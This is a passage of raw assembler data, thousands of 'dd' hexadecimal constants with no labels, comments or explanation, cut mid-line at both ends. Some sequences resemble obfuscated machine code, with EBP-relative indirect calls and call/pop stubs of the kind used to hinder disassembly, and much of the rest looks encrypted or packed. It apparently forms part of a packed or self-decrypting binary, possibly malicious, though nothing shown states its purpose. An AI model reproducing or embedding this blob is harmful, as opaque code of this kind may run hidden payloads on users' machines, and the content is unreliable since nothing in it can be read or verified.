6A640012h, 1195FF00h dd 8B064D05h, 875BEBC0h, 0BE883819h, 0C3A988F9h, 0ED427C28h dd 35B7EF97h, 0F05B2953h, 441EDF32h, 9F34A7E2h, 0E76BC44Bh dd 258030CCh, 32771E50h, 5760DEACh, 49584BE3h, 0D028A7D6h dd 9D4704CAh, 0FE03E50Bh, 96070639h, 3EC9B1BDh, 0D75FDF79h dd 76664D96h, 0A279CB13h, 0F55E9923h, 0D7B95Eh, 0EE82FB3h dd 0E4000000h, 4AEECC25h, 3AFBF184h, 81B21CE5h, 0BD015386h dd 64D0B7Dh, 9D015A58h, 64D1391h, 611DC281h, 80560000h dd 2B5E28C5h, 59B529DBh, 0FF064D31h, 8E91334h, 0EC000000h dd 3C21BE00h, 5F9908A2h, 45D88166h, 5F781CAh, 892226EBh dd 4D271DBDh, 0B1C78106h, 0F1B8699h, 68Ah, 31853300h, 81064D25h dd 0C78D21EFh, 298D3177h, 57064D2Eh, 0E850Fh, 9E90000h dd 0B000000h, 413BB4E2h, 3A76CF44h, 0F1A048Fh, 684h, 99B52B00h dd 29064D27h, 4D25C985h, 3EB8306h, 4BAFC180h, 0AE9h, 8C739600h dd 0CEBE5755h, 8155CF79h, 0FF9FA0FBh, 74850FFFh, 66FFFFFFh dd 9BA7D181h, 0A0718D8Dh, 89FC0653h, 4D05998Dh, 0D08B6606h dd 51D85C7h, 5F30064Dh, 0C7F50000h, 4D02E985h, 6, 68E0F00h dd 89000000h, 4D14C5BDh, 55B5FF06h, 0F064D07h, 68Fh, 11BD3100h dd 0FC064D33h, 2E5595FFh, 8531064Dh, 64D1025h, 95FF006Ah dd 64D0511h, 5AEBC08Bh, 0D28DA20Bh, 0ED49311Ch, 2018FD0Ch dd 0B6D40AA6h, 324B2D08h, 65116F18h, 70088330h, 44E0CCB7h dd 7890773Ch, 153688A0h, 0C546EE50h, 5151E804h, 7FFDDF8h dd 9C8324C9h, 52B9F323h, 0A5464EA2h, 0BC1B3CC8h, 690AADAFh dd 0E83361C4h, 8CF4C4B6h, 1892EEE4h, 2297FACFh, 9E85512h dd 0AE000000h, 72BC90BBh, 30A108DAh, 0AF98D8Bh, 0E85A064Dh dd 7, 77F694E3h, 8B17049Ah, 4D2F7D85h, 0C2815F06h, 5F5Eh dd 68F98B66h, 0 dd 0FA26C881h, 8B5E569Ch, 5E8321Ch, 0FF000000h, 6FDFC9A0h dd 6820Fh, 858B0000h, 64D2D55h, 0E9C38159h, 666C4792h dd 812E5FB8h, 0A6FEAAEBh, 898D8B77h, 81064D12h, 0A87780C3h dd 31BD8B48h, 89064D29h, 0BD8B321Ch, 64D295Dh, 0EE8109B5h dd 73F9F89Dh, 0EE9h, 6B5A1400h, 0F77A1C2Dh, 39F5CB3Fh dd 8136F203h, 0F9F899C6h, 0C3BF0F73h, 0A178FE81h, 850FFFFFh dd 13h, 3B5BD8Bh, 22E9064Dh, 45000000h, 0B0A4D7FDh, 0FF1237Ah dd 70E9C3BFh, 4EFFFFFFh, 577D4FAFh, 446FF16h, 900E1D33h dd 2668DCE9h, 7904EB9Ch, 0E94BE55Eh, 51Eh, 0B7C3692Fh dd 5A660CD7h, 0FE0AB07Ah, 9FAB511Eh, 4450F6BFh, 20E9AE42h dd 0C78E6E7Ah, 69351521h, 0FD7B7C3h, 0F9C65D69h, 0FB7FB6CAh dd 30707BD4h, 3A07AD75h, 616D13DCh, 4613B981h, 0AD7A20E8h dd 11DE844Fh, 0D4372D9Bh, 7A5A660Ch, 1CFC08AEh, 7FDDAA50h dd 244512B8h, 94F20440h, 0E45522C8h, 0D86B3795h, 215F8E10h dd 10DB4F21h, 13713EA7h, 67D8A54Bh, 0A98995FEh, 3F6E3BE1h dd 0DB4F2034h, 5F9ACAB0h, 0B01642C7h, 7AF4h, 0AD753200h dd 770B3A07h, 7DDB4F20h, 1032AD97h, 0E2B01642h, 2D1A6695h dd 0AE17DB4Fh, 0FF75Fh, 52B00000h, 0D612DF85h, 0B1BE4CA5h dd 0A5F45DE7h, 4AA75DDh, 680ED937h, 30124E9Bh, 9CFE2FBBh dd 42A5DD41h, 0A0090B45h, 8026F351h, 0F78A55B3h, 48B9862Ch dd 62D612DFh, 0E57E0116h, 0FA8D5AB0h, 4EBF8C32h, 0C22818E5h dd 70DE4C82h, 0A04611F4h, 9A67C594h, 7F47A5F4h, 7583CDD9h dd 85C106ACh, 30F62A89h, 0B68BDA0Dh, 0A2E78D58h, 84D37944h dd 0EB59BFAFh, 7D892FF8h, 0DF8550AEh, 0D76A3290h, 2B9C690Fh dd 0CD97F5C2h, 78E65A27h, 3B6111CCh, 8796B016h, 0D4000000h dd 3906AC75h, 9E6B11DBh, 6D37940h, 6936DCA8h, 0EAE06448h dd 8CF2D7Ch, 9C05AB75h, 9163E14Dh, 74C36933h, 9BA74D16h dd 7F4CF2BBh, 660CD432h, 46ECB917h, 0EC70C501h, 2CD615EFh dd 7EEFBC62h, 7DF1C615h, 5D03D02Eh, 6CEB1F90h, 0EB7FB7A4h dd 74F05CABh, 1685E989h, 600EB0h, 864C0000h, 0EEBB6128h dd 7D02E7Dh, 6A369461h, 20C7B9E8h, 0C1F0DB4Fh, 0DB4F20BFh dd 0D53E0972h, 9C889F6Ch, 0C66C35A8h, 0AA7570BAh, 0F4DB4C17h dd 3B768F70h, 0C9376BD4h, 0FDB99A58h, 305F2C95h, 0DB4E7543h dd 4E89BBA1h, 0B016E934h, 5080C2FEh, 99C2B5DFh, 0DB11A465h dd 0F84754E3h, 190h, 0AB75CE00h, 9B62C005h, 68B728F5h dd 0C76D3593h, 0E7582482h, 0D12670FDh, 27F45D60h, 0F29860B6h dd 0C9ADCEA3h, 511B799Bh, 34FE5CABh, 0C932D8A1h, 0FB2EEBDh dd 322250F2h, 0AAA3DD0Ch, 258EDB4Eh, 43926DBCh, 0FECB713Ch dd 0B0DF248Dh, 0D137CEC7h, 70ACF15Ah, 0C690D66Dh, 0AEE25320h dd 3685E569h, 98C71461h, 0D50155E8h, 3391E049h, 0D9B9C56Bh dd 519E6B11h, 55ABD504h, 1D86D501h, 55E39FCEh, 3D0AD501h dd 55BFC1F0h, 1DE7D501h, 6E39AA77h, 1A4AB605h, 6D791FE7h dd 521FC58Dh, 41862CF4h, 217016E3h, 4EF65C4Ch, 0E0864EACh dd 42E8B513h, 4C9B0475h, 3B8026EEh, 0A16E14DDh, 7C1AFC30h dd 704E05h, 0ADB59DB1h, 65B65B5Ch, 47963C07h, 0D6DFh, 0D85C9800h dd 7FBF6BBBh, 0A7C06780h, 37881373h, 0DDF820E8h, 701B4A8Fh dd 0E1D13841h, 854DAB78h, 0C804D3DFh, 9A4669D9h, 32FE5403h dd 17DF3D8Ch, 7E46A471h, 0B51B0BD8h, 0EE945C8Fh, 0EEB513E2h dd 0F393F948h, 28B65BC0h, 46h, 8AE2F866h, 223A1645h, 3F9DDB4Fh dd 7016E073h, 8FE5B807h, 0E0511EC4h, 20146C9Bh, 0B41DDB4Fh dd 314F7E4Bh, 0EBDB4F1Fh, 2BAFDF85h, 64B1FE43h, 4F1E4B35h dd 2E7DE6DBh, 4F2051FFh, 8B9700DBh, 46EBh, 0DDF8A100h dd 0EC1B4A8Fh, 55D1384Fh, 0F9C11FECh, 9F674753h, 78FD2CF9h dd 65D501F2h, 5018CB79h, 94419EAAh, 3F6493D8h, 0C2CAD693h dd 662E8C59h, 0EED2F3C0h, 7B46A476h, 2AAB86D5h, 0D5CEFD42h dd 2CC482F1h, 0F86DB7C3h, 0FD4A8FDDh, 0A7465AC1h, 0FB6C39DFh dd 0AFC07BC7h, 0FC723160h, 398FD122h, 89FAC76Dh, 0B9065320h dd 0FAB8F68Ah, 83D23BD4h, 0ABB75D25h, 20608FDCh, 11D4FAB9h dd 45291EDDh, 61CA9A80h, 7BECB412h, 856029FFh, 4F1C85C8h dd 48DBA402h, 9C0DDA80h, 0A6F56633h, 31557977h, 0DD87F568h dd 3CF622Ah, 94FDA370h, 0F79D69C7h, 82E0258Eh, 0B2C615BBh dd 0AD770AD2h, 73D19E07h, 7FBB00A6h, 0F5BDA684h, 0DD11824Fh dd 0BAEED5FCh, 0A8E4D47Bh, 8257A676h, 24C77D61h, 0CAAAB65Ch dd 0E3829102h, 53BFC1F0h, 9728743h, 0E56D69D5h, 43E7CAB6h dd 95FE6787h, 0F8ABE72Ch, 29022B57h, 0C6E4B908h, 3, 758C547Ch dd 0DE3C09AFh, 45A37016h, 0A806D379h, 106E3BE1h, 76D4A147h dd 0DC3A07ADh, 3E9C690Fh, 0A301CE74h, 0E86532D8h, 815F5457h dd 4C7h, 4EF8300h, 5C243C87h, 1BD568h, 24048900h, 104568h dd 242C8900h, 0D29B951h, 3B84657h, 29A3FA45h, 870559C8h dd 2D68BD67h, 10D9087Dh, 0F806AC2Dh, 11820501h, 0EC8152C4h dd 4, 83242489h, 5D042404h, 0DABF5750h, 29604773h, 5F04247Ch dd 8108458Fh, 73DA0845h, 2C8B6047h, 0E2895224h, 4C281h dd 0C2830000h, 24148704h, 2434FF5Ch, 4C48158h, 0E9000000h dd 0FFF9D8EDh, 4EB8E464h, 30653A6h, 1E0FFC5h, 1E2D872Ch dd 76147482h, 0FB29E7A5h, 21384320h, 5773246Bh, 2A5C3FABh dd 1F2F1DF4h, 0D05B7668h, 7B597DE6h, 0C54CE3D2h, 8D2C5E0Fh dd 53A7DD8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8B661382h, 998D89F1h, 89064D05h dd 4D2A499Dh, 1D85C706h, 10064D05h, 0F000059h, 680h, 39958B00h dd 0C7064D0Fh, 4D02E985h, 6, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0F2349CE6h dd 0AA8CF211h, 8E9C835h, 34000000h, 115C13Bh, 0B4AE6675h dd 5B5FF57h, 0E9064D27h, 10h, 0BBC2FCE7h, 28F235F4h, 0ABBBB775h dd 69B57315h, 2E5595FFh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0C5AB4BC3h, 96799797h dd 95FF006Ah, 64D0511h, 7EEBC08Bh, 0A62C7B09h, 4369039Eh dd 5ACAE63Bh, 82DF06C1h, 8021DA25h, 7A2C2FECh, 0A2EEB467h dd 0E8ED512h, 88167643h, 2F9C2F5Ch, 3DE1045Ch, 6C86EE90h dd 0C7F4BDEBh, 0AC6320FBh, 0FDF5A719h, 4F628587h, 0C06C3596h dd 0A223BDE8h, 844E5035h, 0BF1954B5h, 496875CBh, 7FAFBE46h dd 0C69E7368h, 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 9B8DB5AFh dd 0A592DDFDh, 49CFBD9Ch, 1554E23h, 6AA34FB5h, 8D8D342Ah dd 653A8FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 4FC35141h, 8D89270Ch, 64D0599h, 5EC18A52h, 51D85C7h dd 6B6C064Dh, 89520000h, 4D1B5D8Dh, 85C75F06h, 64D02E9h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 99C35141h dd 8F0F9413h, 0 dd 0FF3CE680h, 4D3171B5h, 6E806h, 0AB590000h, 90B7E403h dd 95FF5BF9h, 64D2E55h, 68E0Fh, 0BD290000h, 64D0DA5h, 95FF006Ah dd 64D0511h, 1DEBC08Bh, 0A76B043Eh, 1D037227h, 0A48F515Eh dd 35A14728h, 6D0E901Dh, 27042A5Ah, 0C9FC04C9h, 14E893h dd 0D3670000h, 38582490h, 0FB874C1h, 0D0AE2B54h, 0DABD350h dd 13B85E90h, 5A6F2E66h, 0EFB2CE81h, 0C281519Dh, 5EB0h dd 296D9589h, 0B9064Dh, 0BF000000h, 5AED0B6Fh, 890A1C8Bh dd 4D23D18Dh, 0ABEB8106h, 8B76BBCCh, 4D119585h, 2AF38106h dd 895A3E70h, 4D32698Dh, 2BC38106h, 8B56CE5Ch, 0A1C89FBh dd 518533h, 0E4B8064Dh, 836F27D3h, 9E902E9h, 0F1000000h dd 30A457CBh, 92D50E48h, 0F9814949h, 0FFFFA1D8h, 0FFAA850Fh dd 8D8DFFFFh, 653AA60h, 5998D89h, 0BB66064Dh, 85C781F5h dd 64D051Dh, 5CD8h, 26D9B866h, 2E985C7h, 64Dh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 8A5BBBC3h, 0A202C086h, 0B0F9D11Eh, 95B5FF91h, 6A064D27h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0A294C352h, 29508630h, 4D1FA985h, 95FF5E06h dd 64D2E55h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0AEC35646h, 0EBF97399h, 8166C808h, 6AF1CDCAh, 1195FF00h dd 8B064D05h, 8A2CEBC0h, 6F0A0351h, 3DF0ECB3h, 0D0FC1D29h dd 5E03859Eh, 997FA6BFh, 0C36ED572h, 0C11ED247h, 0E0B1C2E2h dd 96A7E4F3h, 191AB31Dh, 0E8B4C3D5h, 0Bh, 0DA292001h, 0B77DEF1Dh dd 0E90AB4B3h, 5, 8AE70942h, 10E8596Ah, 0D0000000h, 0C0A895F7h dd 31AEFA54h, 88ADD52Bh, 8900851Dh, 4D2BB59Dh, 0C1815806h dd 74EEh, 1A919523h, 8FBE064Dh, 812E906Bh, 907680F6h, 0CE92Eh dd 4F690000h, 0B9DB2197h, 95D9612Ah, 398B1A9Ah, 0D75654BBh dd 51F78142h, 33677416h, 4D067D9Dh, 0F3C78106h, 0BA34577Fh dd 26C97949h, 0B587C781h, 9D230FC4h, 64D03C1h, 81663989h dd 83856FCAh, 0FE904E9h, 5E000000h, 0D943000h, 296676D3h dd 0B944CB10h, 0EE83F0CDh, 0AF850F01h, 60FFFFFFh, 21B5BD31h dd 8B66064Dh, 5FE961FAh, 52000001h, 0E860D48Bh, 0 dd 5AED815Dh, 8B0653ABh, 453D0842h, 0F782638h, 13885h dd 0C428B00h, 0D3184A8Bh, 8592BBC8h, 0C3334ED4h, 8904E883h dd 4D059985h, 4588B06h, 428BF88Bh, 184A8B10h, 29BEC8D3h dd 33EF091Fh, 83C72BC6h, 0E883FCE0h, 1D858904h, 8B064D05h dd 85891442h, 64D02E9h, 5318428Bh, 0B0E9h, 71B5FF00h, 0E9064D31h dd 0B9h, 2795B5FFh, 0AEE9064Dh, 0FF000000h, 4D1FE5B5h dd 0A3E906h, 0B5FF0000h, 64D25F9h, 98E9h, 29B5FF00h, 0E9064D32h dd 8Dh, 2705B5FFh, 82E9064Dh, 0FF000000h, 4D2585B5h, 77E906h dd 0B5FF0000h, 64D0F3Dh, 6CE9h, 8DB5FF00h, 0E9064D2Fh dd 61h, 2B05B5FFh, 56E9064Dh, 0FF000000h, 4D002DB5h, 4BE906h dd 0B5FF0000h, 64D2D19h, 40E9h, 11B5FF00h, 0E9064D16h dd 35h, 755B5FFh, 2AE9064Dh, 0FF000000h, 4D227DB5h, 1FE906h dd 0B5FF0000h, 64D0AA1h, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h dd 53ABBB8Dh, 0FFC80306h, 5595FFE1h, 5B064D2Eh, 599858Bh dd 5839064Dh, 0F850F04h, 53000000h, 95FF016Ah, 64D0511h dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh dd 64D0341h, 0ACA98D8Dh, 41890653h, 0EBC38B01h, 0CF47C604h dd 4CDE911h, 7B410000h, 1EE9C9D5h, 0C28C6C78h, 6330101Ch dd 8D1B1BDh, 5C545662h, 808C32FBh, 2733D9A0h, 0C9D57B47h dd 6F7B21E9h, 0A4DC0BD8h, 8DD4FB74h, 0AD754282h, 0DCA94F1Ah dd 0D735026Bh, 7C5C680Eh, 0E3410EB4h, 0D230751Bh, 2C548305h dd 5DB4F21h, 0FE4339Ch, 7340E6B1h, 32D58FFDh, 690FD76Ah dd 0B6C22B9Ch, 1F640AD6h, 8350F6C1h, 0E0AFC312h, 0C312B882h dd 26F39965h, 8E5B01C8h, 28DB896Dh, 0CAAAB65Ch, 608F5C02h dd 0DB4F2113h, 54BBC83h, 643A7EFDh, 60BE8BF4h, 0C23F096h dd 0F9C12420h, 0FCE2EA53h, 0EF58D48h, 4F22B016h, 60000000h dd 3A07AD75h, 4F20770Bh, 0AD977DDBh, 16421032h, 1C7B0h dd 75050000h, 0D93704AAh, 3D9B680Eh, 2785CA70h, 55FBC85Bh dd 5FAE1FECh, 0BEA6148Ah, 0CEDA804Bh, 0CB9326EEh, 0E1B0BC25h dd 68184794h, 0C9DB4F20h, 20473960h, 81EADB4Fh, 0AC756A32h dd 10DB3906h, 47AD9D6Ah, 7B21EA1Dh, 21C78F6Fh, 862CF654h dd 46D40541h, 58A7924Bh, 52C03409h, 404FE712h, 616CB016h dd 25000000h, 8956FCC7h, 0F471E418h, 0DA9B50AEh, 4A86C38Bh dd 2622D021h, 7BD928CBh, 0F23F0CB2h, 640A76A5h, 0BE27DB4Eh dd 0A147116Fh, 74F05ED4h, 1622C891h, 0FAC76D36h, 0E429CF9Ch dd 64186897h, 0B019DB4Eh, 0AA188C61h, 0FD373FBAh, 36C4B016h dd 2000000h, 3906AC75h, 9C690FDBh, 38AB9985h, 73BDC96Fh dd 7B39AA75h, 0C379C8F3h, 0A50348B1h, 0F46532D8h, 0D2A1D0A5h dd 12DB4E35h, 0A5BD382Ch, 52B016A9h, 1, 5AB7590h, 6C12DA38h dd 5BB97E9Fh, 0AF20ED93h, 56B1A7Bh, 0C413BCDBh, 2FF9EC58h dd 0B5207D89h, 79DCC6ECh, 0B8218309h, 19334473h, 85EED138h dd 0EC925AB8h, 34FC5AA7h, 2950C18Eh, 0D501D157h, 0E2271DAh dd 73F5662Eh, 0B43DD034h, 0E799C80Dh, 4AD50146h, 7CAB78E1h dd 0D5014706h, 9649FBE7h, 3C1C28CEh, 0A301CE74h, 0DCE56ADBh dd 77E1939Eh, 48B15721h, 0E6448B7Bh, 0B925741Ah, 1F90588Bh dd 2E4AE619h, 8B9700BEh, 5B8883A3h, 0D70653B6h, 0D50162A9h dd 68D01F88h, 133h, 0A2DDF8A6h, 2A6633D9h, 0FF7EC4C5h dd 59C22B81h, 33A6E514h, 42ABD138h, 61D29FFDh, 0D87C56C7h dd 0BE0D7690h, 1DC38BE9h, 0D6693111h, 5E9A670Dh, 57969AEDh dd 0E14AB312h, 0F3753E9Ch, 182BCC4h, 0A30C75D5h, 411665D6h dd 0BE881BE3h, 51F7C218h, 0C52B1BE8h, 0FEA46C9Fh, 0DC780AF2h dd 569FB65Bh, 0DD000000h, 458AE2F8h, 0E667BCF8h, 2CED57BCh dd 79AD0C9Dh, 9CEB5B43h, 4ECDE36Dh, 38056EDBh, 4ECB7709h dd 53FA5DBh, 0BC017565h, 4ECDC38Dh, 0E0258EDBh, 0CC1C6493h dd 0AC15DB4Eh, 90A9495Dh, 0DA000000h, 0E7775A9Eh, 3CAD7A20h dd 0D7501708h, 0B36A90A3h, 76C54D29h, 8FDDF8AEh, 0D79FFD4Ah dd 0A4F36431h, 38509275h, 7946AFD1h, 0A1AD531Bh, 8E6696D2h dd 0B7D397FDh, 9C420A68h, 46D5A0CFh, 0F6C1D501h, 5C258350h dd 9B01E9B6h, 281423A9h, 5B01C93Ch, 89E3F24Fh, 0F1AC1544h dd 2F85CAD5h, 6107CF62h, 64C28FF8h, 829F69Ch, 0AD1EE543h dd 0E1F89B2Bh, 51A00960h, 0C60F7FE5h, 8F3261A6h, 28C48280h dd 0C5B01CAh, 53C10539h, 0DC0232BEh, 861D6773h, 0DA08694Ah dd 0BC0B2D1Fh, 3378F4E1h, 236ABD04h, 0D59CFAD1h, 9BF1622Fh dd 9DC2BD1h, 3665E7B3h, 0D4FB104Ah, 0AC157EE7h, 26B981DFh dd 7BECB95Fh, 0FB370612h, 8C5E1005h, 0D12F7EF9h, 0E21E6309h dd 0AE14F96Bh, 582D7C0Fh, 9376FF29h, 6AC771Ah, 690FDB39h dd 0AB99859Ch, 0A68B725h, 0DC48973Dh, 7AD7568h, 0AD531BFBh dd 63342C68h, 31B2EEEFh, 0DBD5AD8Eh, 96CA3312h, 6029B91Ah dd 0C69BEA84h, 28F59B68h, 0C6F54207h, 0BD5DFEBAh, 0EDB80E77h dd 0BA097A47h, 2BF3164Eh, 0FF067AA9h, 0D5A0BD5Dh, 26F1622Fh dd 0D30F54BDh, 2170E3EFh, 0C6DA2997h, 0C8AD1EE6h, 4DBA97D1h dd 3C5A2790h, 0Ch, 0D77A316Dh, 0CA8980C9h, 8C54B37Bh, 3C09AF75h dd 0A37016DEh, 6D37945h, 6E3BE1A8h, 0D4A14710h, 3A07AD76h dd 9C690FDCh, 1CE743Eh, 6532D8A3h, 0D3968E8h, 2C890000h dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 68243489h dd 520Fh, 68241489h, 653ACCCh, 148B545Eh, 4C48124h, 83000000h dd 348904ECh, 8428F24h, 5A2434FFh, 0FF04C483h, 815E2434h dd 4C4h, 0CE33E900h, 8E2DFFF9h, 856EBF56h, 0B80BF953h dd 653B13Bh, 0E0FFC503h, 5B77E73Dh, 3E0132E2h, 14C3B926h dd 37E5DB6h, 0B2FE17Ah, 48938EE9h, 37D17226h, 562AE803h dd 1A9AD3B1h, 2245FB57h, 0FEEE43Ah, 31C81EB9h, 75D66FABh dd 31357923h, 66A8B270h, 0C3B51D8h, 72F0A667h, 206DECE2h dd 0B2A88D8Dh, 0B70F0653h, 998D89FFh, 6A064D05h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 8C42C355h, 0FD98B9Ah, 0C880Fh, 840F0000h, 6, 800Fh dd 85C70000h, 64D051Dh, 5C80h, 0C7DE8B66h, 4D02E985h, 6 dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 7B77AD4Ah, 2676E081h, 0B70F1A81h, 0E5B5FFC6h dd 0F5064D1Fh, 2E5595FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 48CFB6C3h, 4A0A94B7h dd 13E38118h, 6A7C5D15h, 1195FF00h, 8B064D05h, 1C2FEBC0h dd 18057CA1h, 0C2226798h, 67911F71h, 8C3A7055h, 0EF8239F2h dd 4F943AA8h, 8A871C08h, 4A92E00Ah, 0C350A0B0h, 74D74DC1h dd 0F641BDE6h, 0ABE90E1Ah, 50000000h, 1C3F2E8Dh, 0DA5F72B1h dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h dd 0F94E0097h, 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h dd 3D94E7A6h, 72E28332h, 33E94636h, 68000013h, 653B530h dd 0F9CC28E9h, 0B63268FFh, 1EE90653h, 68FFF9CCh, 653B705h dd 0F9CC14E9h, 0B88768FFh, 0AE90653h, 68FFF9CCh, 653B8FCh dd 0F9CC00E9h, 0B9B168FFh, 0F6E90653h, 68FFF9CBh, 653BA68h dd 0F9CBECE9h, 0BB0968FFh, 0E2E90653h, 68FFF9CBh, 653BBCDh dd 0F9CBD8E9h, 0BCF668FFh, 0CEE90653h, 68FFF9CBh, 653BDF3h dd 0F9CBC4E9h, 0BF5368FFh, 0BAE90653h, 68FFF9CBh, 653C0CFh dd 0F9CBB0E9h, 0C2C968FFh, 0A6E90653h, 68FFF9CBh, 653C3FCh dd 0F9CB9CE9h, 30D69CFFh, 0D3794424h, 771DE7C7h, 18BE8B6Bh dd 0BD632C0Ch, 5839AFB1h, 0FDDDE98Fh, 0A4849036h, 462632D8h dd 35CCD87Eh, 6C473968h, 0DFEAD4FBh, 686BDE1Ah, 0CC487E14h dd 0AD75B57Dh, 14DC3A07h, 0D005626Eh, 0A328579Ch, 0AED1383Ch dd 2B497845h, 55D50204h, 0E0827DE7h, 32B65B22h, 6B1A14F6h dd 0C9180212h, 3761h, 0DDF89F00h, 681B4A8Fh, 0D9D13820h dd 1A56A370h, 6A8AD0F9h, 2655A49Fh, 0D502114Eh, 2AA7E332h dd 0A3DF55FCh, 0F074E02Fh, 5BAE7D05h, 0C09AB6h, 0F5530000h dd 6D35842Ah, 3A07AD75h, 286D13DCh, 8E5B01CAh, 206E1241h dd 5AC3DB4Fh, 80CDA2F1h, 62B15722h, 0E2A93C04h, 0A806D33Ch dd 7D2E3AE0h, 0DB4F24EEh, 1E2AD098h, 3D0763Eh, 7ABFAD28h dd 3842A44Bh, 4C176DD1h, 0E24BF1B9h, 0C5106D79h, 5C3362A7h dd 0F5CAF2ADh, 20E9478Ch, 0C58E6E7Ah, 0F5C26832h, 5F031B84h dd 799879F5h, 10D786A4h, 0DFA50000h, 824D2D39h, 26F0D0DCh dd 0C7947480h, 6C351521h, 30B8BAC6h, 0E4F0965Fh, 8B973D04h dd 2D39DFABh, 0D3DF854Dh, 40406F3Ch, 0F1D4FB6Bh, 0AC75A6E6h dd 4574C106h, 0DB4F203Bh, 32FDA36Bh, 86667AC9h, 3D0C18BEh dd 20BFC1F0h, 972DB4Fh, 0DDF8F2BAh, 681B4A8Fh, 0D9D13820h dd 74A370h, 80D50221h, 9FA75212h, 3CB65B42h, 0D6h, 1AAD757Ah dd 0A3DFAC52h, 0D2415B1Eh, 0DF137C28h, 0AA75A0CAh, 0EDB44B1h dd 7441E7B0h, 0D5ABDA27h, 5CDB4E4Ch, 0F675A4F3h, 90DB4E50h dd 361622C8h, 0AEFBC86Eh, 484E3261h, 7AE3DB4Eh, 0E8B55B24h dd 884D2877h, 7F709FE4h, 92D1376Fh, 124E1D29h, 955C57E5h dd 0CF6BBBEFh, 7744EAB2h, 734E9D06h, 96C50A62h, 0CAF213EAh dd 3B99DE47h, 8CFDCA70h, 0F7C46A36h, 8CEA3786h, 42111DC3h dd 247319E4h, 0A36AFDC6h, 56BF30FDh, 7861023Eh, 0B7D5AA98h dd 0FD5h, 2F3BE1A7h, 0D2DE844Fh, 768228F2h, 1723C996h dd 0BCC86E37h, 986136BAh, 3F06E6F2h, 0E1AD8D99h, 874F2F3Bh dd 713ED5E1h, 0FB6A3E42h, 0A8E8F3D4h, 0FA06AC75h, 39B3EF2Bh dd 972B976Ch, 7C22EA48h, 0AD752670h, 14DC3A07h, 3593626Eh dd 88F9C66Ch, 74C36932h, 6CCA4C16h, 0AAD6FDA3h, 87DB4F20h dd 8AE8B51Eh, 6F1140C2h, 0C2DB4F20h, 81E4F059h, 0FF6D6845h dd 47D48BBAh, 45A3D138h, 0B083D278h, 5AB8FF47h, 0AD1EEB91h dd 2A442F5Eh, 0D5BAA8h, 8DDA276Ch, 77C9225Eh, 57A60FDDh dd 60F4B328h, 90D53ED3h, 0BB63A854h, 0EDAEDCD5h, 0DE60360Eh dd 0FDD2218Ah, 74B9B322h, 17CE8845h, 1B60C9CDh, 434FF5BDh dd 0DDF59B63h, 9E902A6Dh, 24C6A3Fh, 7A00000Fh, 22020EB4h dd 0C5A5B157h, 694955FBh, 0AEAF69Ch, 8D8F9B41h, 0C76D361Bh dd 6E14DBBBh, 10B68262h, 0B65C2404h, 174613AAh, 0D4FB6969h dd 867DBDC8h, 8635FD4Ah, 0C117E5D3h, 0A1FF4EF4h, 196633D9h dd 7C49EFBBh, 0F4E1BC0Bh, 2B9AF4ADh, 0AD7433CDh, 60C93A07h dd 2965B2F7h, 0D1DC466h, 8EF2215Eh, 0A3DB4EF8h, 5382D13Ah dd 0D138055Ch, 71404CB5h, 56A54B13h, 0CD125A7Bh, 0EB08D99Eh dd 9ADF48CAh, 6A5CB95Eh, 2F7EBE6Ch, 0E6AF0D5Ah, 0B3027340h dd 0B44EF084h, 5CDEA6CEh, 0B44E532Dh, 0C75DECEh, 8417E13Fh dd 0DCA912B8h, 20D68EF4h, 0E31E46B4h, 0BC8C9043h, 0C2683593h dd 5A324E7Dh, 96FFCEB4h, 3EDF47h, 0F81D0000h, 1B4A8FDDh dd 0D1386E44h, 0A1FF44ADh, 72232FD5h, 0D501D310h, 0E328CE96h dd 0BE14BA85h, 0ED0150F6h, 0CE9B410Dh, 7B053481h, 0B6D501D2h dd 0D23E4271h, 8AF3D501h, 0FEB4D221h, 6A00000Dh, 4A8FDDF8h dd 23D4D91Bh, 9ADF48D1h, 0C3F2743Ch, 0D4FB6CBDh, 96A20B74h dd 4C7DEEB6h, 6F733303h, 14612E97h, 7A47EDB6h, 0A21CD509h dd 0DD707123h, 4A22B38Eh, 937DD605h, 8CEACAD0h, 720E3DBFh dd 0BFCEA82Dh, 0CB9EED56h, 0F7BF1D62h, 90BF0C51h, 0CEA82DF0h dd 7589D841h, 5A27CD95h, 0D116567Fh, 9151E5A2h, 8C285CC4h dd 22C895C8h, 0CDA241EEh, 0F1F84C64h, 0CFA48611h, 0D80B1h dd 9036FC00h, 33D9A484h, 0D77D4727h, 781EEBCBh, 1DC38C6Ch dd 0B8990F11h, 5D3D49EFh, 4E4F096h, 0A6869238h, 952C38DEh dd 68E799C8h, 3F4AD4FBh, 20D0A4FFh, 8C49DB4Fh, 0EF6C9BE0h dd 2D123D3h, 